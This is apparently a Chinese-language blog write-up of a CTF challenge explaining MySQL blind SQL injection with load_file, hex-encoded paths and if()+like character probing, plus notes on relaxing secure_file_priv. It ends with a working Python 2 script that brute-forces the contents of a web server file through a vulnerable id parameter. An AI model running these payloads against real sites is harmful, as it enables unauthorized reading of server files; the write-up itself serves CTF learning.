mysql 盲注 if_load_file进行mysql盲注+mysql的一些tip

1、前言

今天看了一道安恒杯的ctf题，里面load_file盲注的思路看起来有点意思，该思路没有用单引号，使用到sql查询文件内容。

1.mysqld启动

1.在利用mysql进行sql注入的测试中，遇到一些mysql启动上的问题，可以在mysql的启动或控制台日志查看

输入命令

mysqld --console

2.其次是有时候不存在端口占用又无法启动mysqld的情况，需要进入services中将mysqla停掉，

做个记录，原因尚未探寻，如图，停掉箭头所指的mysqla

2、load_file开启

当前使用的是mysql5.7版本，需要进入my.ini中增加一行

默认开启所有目录尚未调试过，参考文章的链接如下

https://www.cnblogs.com/hackxf/p/8975501.html

针对其中提到一些重点进行记录，防止链接失效

secure_file_priv选项

secure_file_priv

1、限制mysqld 不允许导入 | 导出

--secure_file_prive=null

2、限制mysqld 的导入 | 导出 只能发生在/tmp/目录下

--secure_file_priv=/tmp/

3、不对mysqld 的导入 | 导出做限制

--secure_file_priv=

linux

cat /etc/my.cnf

[mysqld]

secure_file_priv=

win

my.ini

[mysqld]

secure_file_priv=

查看secure_file_priv

show global variables like '%secure%';

3、mysql的load_file盲注

1.思路

当我们遇到不能使用select的情况下，可以使用load_file读取文件查询文件内容，当然，这个使用的条件自然是很苛刻的，正常来说高版本的secure_file_priv不会开启。

1)读取文件demo

select load_file('c:\sql.txt');

2)利用hex编码就可以减少或者不使用单引号

select hex(load_file(0x633a5c73716c2e747874))

3)利用if+like进行文件内容探测

首先使用if表达式来进行回显判断，比如

if(exp,1,0)

exp指代前面的表达式

然后使用like进行字符判断，比如like 'a%'就可以判断以a字符开头的字符内容是否存在。

if(exp,1,0)like(0x*25)

*这里指任意值

那么我们只要使用like去判断是否存在某字符开头，存在则加上这一次的字符进行下一次判断，直到符合的字符串出现。这样循环后，就可以得到最终的文件内容。问题是

停止条件是什么？可以这样想，我们使用所有的可见字符去爆破一个字母，当可见字符用完后，依旧没有得到结果，说明不存在这样的字符串，此时可以将它当做条件结束。

demo:

字符串abcde

判断abcde中是否存在a开头的字符，存在则结束本次判断，不存在则利用下一个可见字符判断，直到用完为止

存在a开头字符串，那么接下来判断aa是否存在，判断条件同上。

结束条件为所有可见字符用完为止

2.实现exp

python2

#coding:utf-8

import requests

import string

payload=string.printable

payload=list(payload)

file =""

db = ""

while True:

n = 1

end = len(payload)

#print end

for i in payload:

req = requests.session()

header = {

"Cookie":"__guid=206886163.707362614897664800.1543048794439.3918;PHPSESSID=4e6p8mktq1b5p84jnndsvqv166"

}

exp= "if(hex(load_file(0x2f7661722f7777772f68746d6c2f696e6465782e706870))like(0x{temp}25),1,2)"

url = "http://101.71.29.5:10015/user/user.php?id="+exp

i = i.encode("hex")

url = url.format(temp=db+i)

res = req.get(url=url,headers=header)

#print res.status_code

if "user_id:1" in res.text:

print url

db = db + i

file = file + i.decode("hex")

print file

break

n = n + 1

if n == end:

print db

exit(0)

来源https://www.shuzhiduo.com/A/KE5Qvje0dL/